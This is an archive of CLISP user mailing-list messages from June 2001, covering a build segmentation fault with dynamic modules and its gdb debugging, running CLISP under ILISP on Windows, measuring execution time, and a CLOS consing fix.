<200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15154.32649.630413.248505@isis.compsvcs.com> Date: 21 Jun 2001 19:27:17 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15154.32649.630413.248505@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] Re: clisp build error" > * Sent on Thu, 21 Jun 2001 16:13:13 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > > nope :-) "dynamic modules" allow adding FFI modules (like the ones in > > the modules directory) to an existing CLISP image, without recompiling > > CLISP. > I see I've been wasting my time even more than I thought. > > > what about > > $ ./configure --with-modules=regexp > makemake: modules=regexp: invalid package name yes - I always make this mistake! > ./configure --with-module=regexp --build build > ... > Test passed. I presume the problem does not exist anymore. good. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't ascribe to malice what can be adequately explained by stupidity. From don-sourceforge@isis.compsvcs.com Thu Jun 21 18:28:53 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DFkj-0008Ft-00 for ; Thu, 21 Jun 2001 18:28:53 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5M1UqD14309; Thu, 21 Jun 2001 18:30:52 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15154.40908.64733.436750@isis.compsvcs.com> Date: Thu, 21 Jun 2001 18:30:52 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error In-Reply-To: References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > > what about > > > $ ./configure --with-modules=regexp > > ./configure --with-module=regexp --build build > > ... > > Test passed. > I presume the problem does not exist anymore. Nice try, but NO! starting from Test Passed above: [root@host1 clisp]# cd build [root@host1 build]# make distclean [root@host1 build]# cd .. [root@host1 clisp]# ./configure --with-dynamic-modules --build build => ... ;; Loading file /root/clisp/bug/clisp/build/disassem.lisp ... ;; Loading of file /root/clisp/bug/clisp/build/disassem.lisp is finished. *** - handle_fault error2 ! address = 0x202EE000 not in [0x2025A000,0x2029C060) ! SIGSEGV cannot be cured. Fault address = 0x202EE000. make: *** [halfcompiled.mem] Segmentation fault (core dumped) From jgascon@pacbell.net Thu Jun 21 23:50:26 2001 Received: from mta8.pltn13.pbi.net ([64.164.98.22] helo=pltn13.pbi.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DKlu-00032V-00 for ; Thu, 21 Jun 2001 23:50:26 -0700 Received: from tulipe ([63.194.90.154]) by mta8.pltn13.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0GFB0082OKBWCB@mta8.pltn13.pbi.net> for clisp-list@lists.sourceforge.net; Thu, 21 Jun 2001 23:50:21 -0700 (PDT) Date: Thu, 21 Jun 2001 23:50:23 -0700 From: Jean Gascon To: clisp-list@lists.sourceforge.net Reply-to: jgascon@pacbell.net Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Subject: [clisp-list] help: running clisp under ilisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I am still struggling to get CLISP to run as a subprocess under ILISP. Here are the parameters and the situation. Suggestions are welcome. Platform: x86 running Windows 2000 (native i.e.: no X-lib etc.) CLISP by itself runs OK when launched from a batch file. ILISP compiles OK. (I still don't know what value to initialize ilisp-init-binary-extension and ilisp-init-binary-command to but I am not there yet) The problem arises when I execute M-x clisp-hs. I get different results depending on the value of the variable clisp-hs-program, but none of the resulting situations work: 1) with the default clisp-hs-program -> "lisp -I" I get: a) warning: no initialisation file specified, use -M "file-name" b) warning: no installation directory specified, use -B "path-name" c) EVAL: the function COMPILE-FILE-PATHNAME is undefined (this is a Common Lisp fn. That suggests to me that the CLISP initialisation failed.) 2) if I specify full path names with the -M and -B options like clisp-hs-program -> "lisp -I -M \"D:\\CLISP\\lispinit.mem\" -B \"D:\\CLISP\\\"" I get an "invalid inferior lisp program command line". What am I missing? Thanks! Jean From sds@gnu.org Fri Jun 22 07:26:34 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DRtK-0002E8-00 for ; Fri, 22 Jun 2001 07:26:34 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA19740; Fri, 22 Jun 2001 09:26:11 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: jgascon@pacbell.net Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help: running clisp under ilisp References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 22 Jun 2001 10:24:32 -0400 Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] help: running clisp under ilisp" > * Sent on Thu, 21 Jun 2001 23:50:23 -0700 > * Honorable Jean Gascon writes: > > I am still struggling to get CLISP to run as a subprocess under ILISP. I do not use ILISP, so I hope someone will give a better answer. > 1) with the default clisp-hs-program -> "lisp -I" > I get: a) warning: no initialisation file specified, use -M "file-name" > b) warning: no installation directory specified, use -B "path-name" > c) EVAL: the function COMPILE-FILE-PATHNAME is undefined > (this is a Common Lisp fn. That suggests to me that the CLISP > initialisation failed.) correct: -B and -M are required for normal operation. COMPILE-FILE-PATHNAME (and the compiler in general) is not available without -M. > 2) if I specify full path names with the -M and -B options like > clisp-hs-program -> "lisp -I -M \"D:\\CLISP\\lispinit.mem\" -B > \"D:\\CLISP\\\"" > I get an "invalid inferior lisp program command line". I cannot navigate in so many backslashes. here is what I use: inferior-lisp-program ==> "d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I" -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Good judgment comes from experience and experience comes from bad judgment. From amoroso@mclink.it Fri Jun 22 08:41:01 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DT3L-0005Tm-00 for ; Fri, 22 Jun 2001 08:40:59 -0700 Received: from net145-089.mclink.it (net145-089.mclink.it [195.110.145.89]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f5MFere15647 for ; Fri, 22 Jun 2001 17:40:53 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help: running clisp under ilisp Date: Fri, 22 Jun 2001 17:42:00 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, 21 Jun 2001 23:50:23 -0700, Jean Gascon wrote: > I am still struggling to get CLISP to run as a subprocess under ILISP. I suggest that you also post to the ILISP mailing list. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Fri Jun 22 11:23:20 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DVaR-0000Rb-00 for ; Fri, 22 Jun 2001 11:23:20 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA24506; Fri, 22 Jun 2001 13:23:16 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> <15154.40908.64733.436750@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15154.40908.64733.436750@isis.compsvcs.com> Date: 22 Jun 2001 14:22:28 -0400 Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15154.40908.64733.436750@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] Re: clisp build error" > * Sent on Thu, 21 Jun 2001 18:30:52 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > [root@host1 clisp]# ./configure --with-dynamic-modules --build build > => ... > ;; Loading file /root/clisp/bug/clisp/build/disassem.lisp ... > ;; Loading of file /root/clisp/bug/clisp/build/disassem.lisp is finished. > *** - handle_fault error2 ! address = 0x202EE000 not in [0x2025A000,0x2029C060) ! > SIGSEGV cannot be cured. Fault address = 0x202EE000. > make: *** [halfcompiled.mem] Segmentation fault (core dumped) okay. you were right all along. --with-dynamic-modules does load modules dynamically, and is _not_ required for --with-module=regexp. sorry. Now, could you please try to debug this? you have the core, and $ gdb -c core (gdb) where will probably be totally useless. maybe you could do $ makemake debug > Makefile and get the core and see what is going on there? Thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Binaries die but source code lives forever. From don-sourceforge@isis.compsvcs.com Fri Jun 22 13:23:56 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DXTA-0004Kd-00 for ; Fri, 22 Jun 2001 13:23:56 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5MKPrE15140; Fri, 22 Jun 2001 13:25:53 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15155.43466.584146.296681@isis.compsvcs.com> Date: Fri, 22 Jun 2001 13:25:46 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error In-Reply-To: References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> <15154.40908.64733.436750@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > SIGSEGV cannot be cured. Fault address = 0x202EE000. > > make: *** [halfcompiled.mem] Segmentation fault (core dumped) > > okay. you were right all along. > --with-dynamic-modules does load modules dynamically, and is _not_ > required for --with-module=regexp. sorry. > > Now, could you please try to debug this? > you have the core, and > $ gdb -c core > (gdb) where > will probably be totally useless. correct - it says no stack > maybe you could do > $ makemake debug > Makefile > and get the core and see what is going on there? I guess you really mean ./makemake --with-dynamic-modules debug > Makefile make (worked) make test (worked) make testsuite => ... (HASH-TABLE-P (MAKE-HASH-TABLE :TEST #'EQL :REHASH-SIZE 1. *** - handle_fault error2 ! address = 0x20368000 not in [0x2025A000,0x2030C1E0) ! SIGSEGV cannot be cured. Fault address = 0x20368000. make[1]: *** [tests] Segmentation fault (core dumped) make[1]: Leaving directory `/root/clisp/bug/clisp/build/suite' make: *** [testsuite] Error 2 So now I guess you want me to do this? [root@host1 build]# gdb -c core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./lisp.run -m 750KW -B . -N locale -Efile ISO-8859-1 -norc\ -x (load "init.lisp"'. Program terminated with signal 11, Segmentation fault. #0 0x8079ac8 in ?? () (gdb) where #0 0x8079ac8 in ?? () Cannot access memory at address 0x202edffe (gdb) I hope you don't think I know how to use gdb. Tell me what to do next. Maybe you'd like me to send you the core file? From sds@gnu.org Fri Jun 22 13:43:45 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DXmL-0006m3-00 for ; Fri, 22 Jun 2001 13:43:45 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA27743; Fri, 22 Jun 2001 15:43:42 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> <15154.40908.64733.436750@isis.compsvcs.com> <15155.43466.584146.296681@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15155.43466.584146.296681@isis.compsvcs.com> Date: 22 Jun 2001 16:42:48 -0400 Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15155.43466.584146.296681@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] Re: clisp build error" > * Sent on Fri, 22 Jun 2001 13:25:46 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > I guess you really mean > ./makemake --with-dynamic-modules debug > Makefile yep. please make sure that -fomit-frame-pointer is not in CFLAGS. if it is not there already, please try adding '-g' there. > [root@host1 build]# gdb -c core $ gdb -c core lisp.run (not that it should make a difference)... > Program terminated with signal 11, Segmentation fault. > #0 0x8079ac8 in ?? () > (gdb) where > #0 0x8079ac8 in ?? () > Cannot access memory at address 0x202edffe too bad... > I hope you don't think I know how to use gdb. I hope _you_ don't think _I_ know how to use gdb, or program in C or debug lisp.run &c... :-( > Tell me what to do next. > Maybe you'd like me to send you the core file? can you upload it somewhere? (do _not_ e-mail it to me or to clisp-list &c) [why are you running all this as root?!] -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I want Tamagochi! -- What for? Your pet hamster is still alive! From don-sourceforge@isis.compsvcs.com Fri Jun 22 14:55:17 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DYtZ-0007Zv-00 for ; Fri, 22 Jun 2001 14:55:17 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5MLvET15320; Fri, 22 Jun 2001 14:57:14 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15155.48949.503568.612061@isis.compsvcs.com> Date: Fri, 22 Jun 2001 14:57:09 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error In-Reply-To: References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> <15154.32649.630413.248505@isis.compsvcs.com> <15154.40908.64733.436750@isis.compsvcs.com> <15155.43466.584146.296681@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > * In message <15155.43466.584146.296681@isis.compsvcs.com> > > * On the subject of "Re: [clisp-list] Re: clisp build error" > > * Sent on Fri, 22 Jun 2001 13:25:46 -0700 (PDT) > > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > > > I guess you really mean > > ./makemake --with-dynamic-modules debug > Makefile > yep. > please make sure that -fomit-frame-pointer is not in CFLAGS. > if it is not there already, please try adding '-g' there. I do see lines with omit-frame-pointer but it's not in Makefile. I don't know whether to worry. > > I hope you don't think I know how to use gdb. > I hope _you_ don't think _I_ know how to use gdb, or program in C or > debug lisp.run &c... :-( In that case what are you going to do with core? > can you upload it somewhere? > (do _not_ e-mail it to me or to clisp-list &c) http://ap5.com/~donc/core - 1.8MB From Randy.Justice@cnet.navy.mil Mon Jun 25 07:07:47 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EX1I-0001Zr-00 for ; Mon, 25 Jun 2001 07:07:16 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA01412 for ; Mon, 25 Jun 2001 09:06:29 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Mon, 25 Jun 2001 09:06:01 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Mon, 25 Jun 2001 07:35:35 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0FD73.55106CA0" Subject: [clisp-list] Execution Time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0FD73.55106CA0 Content-Type: text/plain; charset="iso-8859-1" Hi Does CLISP contains a method to measure execution time? Randy ------_=_NextPart_001_01C0FD73.55106CA0 Content-Type: text/html; charset="iso-8859-1" Execution Time

Hi
       
Does CLISP contains a method to measure execution time?


Randy

------_=_NextPart_001_01C0FD73.55106CA0-- From sds@gnu.org Mon Jun 25 07:47:13 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EXdx-0007MX-00 for ; Mon, 25 Jun 2001 07:47:13 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA02497; Mon, 25 Jun 2001 10:47:10 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Execution Time References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 25 Jun 2001 10:46:38 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Execution Time" > * Sent on Mon, 25 Jun 2001 07:35:35 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does CLISP contains a method to measure execution time? ANSI CL specifies a macro TIME See http://clisp.cons.org/impnotes.html#time http://www.lisp.org/HyperSpec/Body/mac_time.html See also http://clisp.cons.org/impnotes.html#space http://clisp.cons.org/impnotes.html#room http://www.lisp.org/HyperSpec/Body/fun_room.html -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A year spent in artificial intelligence is enough to make one believe in God. From sds@gnu.org Mon Jun 25 08:25:17 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EYEn-0005q2-00 for ; Mon, 25 Jun 2001 08:25:17 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA09925; Mon, 25 Jun 2001 11:25:14 -0400 (EDT) X-Envelope-To: To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.26 Clos consing? References: <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> Date: 25 Jun 2001 11:24:40 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <5.1.0.14.0.20010612232016.009f3ec0@pop3.terra.es> > * On the subject of "[clisp-list] Clisp 2.26 Clos consing?" > * Sent on Tue, 12 Jun 2001 23:28:08 +0200 > * Honorable Karsten writes: > > I just tried my CLOS-application in the new release and it conses a lot > although I wouldn't cons at all in Clisp 2000-03-06. Bruno just committed a fix for this to the CVS tree. Either wait for the next release or get the latest version from CVS. (caveat &c). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on MS DOS: Keyboard not found. Press F1 to continue. From ted@foi.se Tue Jun 26 02:33:49 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EpEC-0002HR-00 for ; Tue, 26 Jun 2001 02:33:49 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.9.3/8.9.3) with ESMTP id LAA09432 for ; Tue, 26 Jun 2001 11:33:42 +0200 (MEST) Received: from foi.se (lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f5Q9XfC25769 for ; Tue, 26 Jun 2001 11:33:41 +0200 Message-ID: <3B3853B8.91A8F567@foi.se> Date: Tue, 26 Jun 2001 11:19:52 +0200 From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Clisp, modules, make install and rpm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion 